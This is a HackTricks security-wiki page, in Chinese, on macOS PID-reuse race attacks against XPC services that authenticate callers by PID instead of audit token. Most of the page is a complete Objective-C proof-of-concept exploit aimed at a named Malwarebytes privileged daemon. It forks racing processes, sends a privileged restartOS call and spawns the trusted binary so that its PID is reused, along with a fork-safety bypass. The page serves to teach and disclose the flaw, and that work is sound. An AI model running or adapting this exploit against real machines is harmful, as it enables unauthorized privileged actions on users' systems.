hacktricks/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/macos-pid-reuse.md

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macOS PID 重用

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PID 重用

当 macOS 的 XPC 服务基于 PID 而不是 审计令牌来检查被调用的进程时,它容易受到 PID 重用攻击的影响。这种攻击基于一种 竞争条件,其中一个 利用将会 滥用 功能并在此之后执行 posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ)允许的二进制文件。

这个函数将使 允许的二进制文件拥有 PID,但是 恶意的 XPC 消息将在之前被发送。因此,如果 XPC 服务在执行 posix_spawn 之后使用 PID验证发送者并在检查之后,它将认为它来自一个 授权的进程。

攻击示例

如果你找到了函数 shouldAcceptNewConnection 或者被它调用的函数 调用了 processIdentifier 而没有调用 auditToken。这很有可能意味着它正在验证进程的 PID 而不是审计令牌。
就像这个例子中所示(来自参考资料):

检查这个攻击示例(同样来自参考资料)以查看攻击的两个部分:

  • 一个生成多个 fork 的部分
  • 每个 fork 将在发送消息后立即执行 posix_spawn 来向 XPC 服务发送 payload

{% hint style="danger" %} 为了使攻击生效,重要的是导出 export OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES 或将其放入攻击中:

asm(".section __DATA,__objc_fork_ok\n"
"empty:\n"
".no_dead_strip empty\n");

{% endhint %}

// from https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/

#import <Foundation/Foundation.h>
#include <spawn.h>
#include <sys/stat.h>

#define RACE_COUNT 32
#define MACH_SERVICE @"com.malwarebytes.mbam.rtprotection.daemon"
#define BINARY "/Library/Application Support/Malwarebytes/MBAM/Engine.bundle/Contents/PlugIns/RTProtectionDaemon.app/Contents/MacOS/RTProtectionDaemon"

// allow fork() between exec()
asm(".section __DATA,__objc_fork_ok\n"
"empty:\n"
".no_dead_strip empty\n");

extern char **environ;

// defining necessary protocols
@protocol ProtectionService
- (void)startDatabaseUpdate;
- (void)restoreApplicationLauncherWithCompletion:(void (^)(BOOL))arg1;
- (void)uninstallProduct;
- (void)installProductUpdate;
- (void)startProductUpdateWith:(NSUUID *)arg1 forceInstall:(BOOL)arg2;
- (void)buildPurchaseSiteURLWithCompletion:(void (^)(long long, NSString *))arg1;
- (void)triggerLicenseRelatedChecks;
- (void)buildRenewalLinkWith:(NSUUID *)arg1 completion:(void (^)(long long, NSString *))arg2;
- (void)cancelTrialWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
- (void)startTrialWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
- (void)unredeemLicenseKeyWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
- (void)applyLicenseWith:(NSUUID *)arg1 key:(NSString *)arg2 completion:(void (^)(long long))arg3;
- (void)controlProtectionWithRawFeatures:(long long)arg1 rawOperation:(long long)arg2;
- (void)restartOS;
- (void)resumeScanJob;
- (void)pauseScanJob;
- (void)stopScanJob;
- (void)startScanJob;
- (void)disposeOperationBy:(NSUUID *)arg1;
- (void)subscribeTo:(long long)arg1;
- (void)pingWithTag:(NSUUID *)arg1 completion:(void (^)(NSUUID *, long long))arg2;
@end

void child() {

// send the XPC messages
NSXPCInterface *remoteInterface = [NSXPCInterface interfaceWithProtocol:@protocol(ProtectionService)];
NSXPCConnection *xpcConnection = [[NSXPCConnection alloc] initWithMachServiceName:MACH_SERVICE options:NSXPCConnectionPrivileged];
xpcConnection.remoteObjectInterface = remoteInterface;

[xpcConnection resume];
[xpcConnection.remoteObjectProxy restartOS];

char target_binary[] = BINARY;
char *target_argv[] = {target_binary, NULL};
posix_spawnattr_t attr;
posix_spawnattr_init(&attr);
short flags;
posix_spawnattr_getflags(&attr, &flags);
flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
posix_spawnattr_setflags(&attr, flags);
posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
}

bool create_nstasks() {

NSString *exec = [[NSBundle mainBundle] executablePath];
NSTask *processes[RACE_COUNT];

for (int i = 0; i < RACE_COUNT; i++) {
processes[i] = [NSTask launchedTaskWithLaunchPath:exec arguments:@[ @"imanstask" ]];
}

int i = 0;
struct timespec ts = {
.tv_sec = 0,
.tv_nsec = 500 * 1000000,
};

nanosleep(&ts, NULL);
if (++i > 4) {
for (int i = 0; i < RACE_COUNT; i++) {
[processes[i] terminate];
}
return false;
}

return true;
}

int main(int argc, const char * argv[]) {

if(argc > 1) {
// called from the NSTasks
child();

} else {
NSLog(@"Starting the race");
create_nstasks();
}

return 0;
}obj

参考资料

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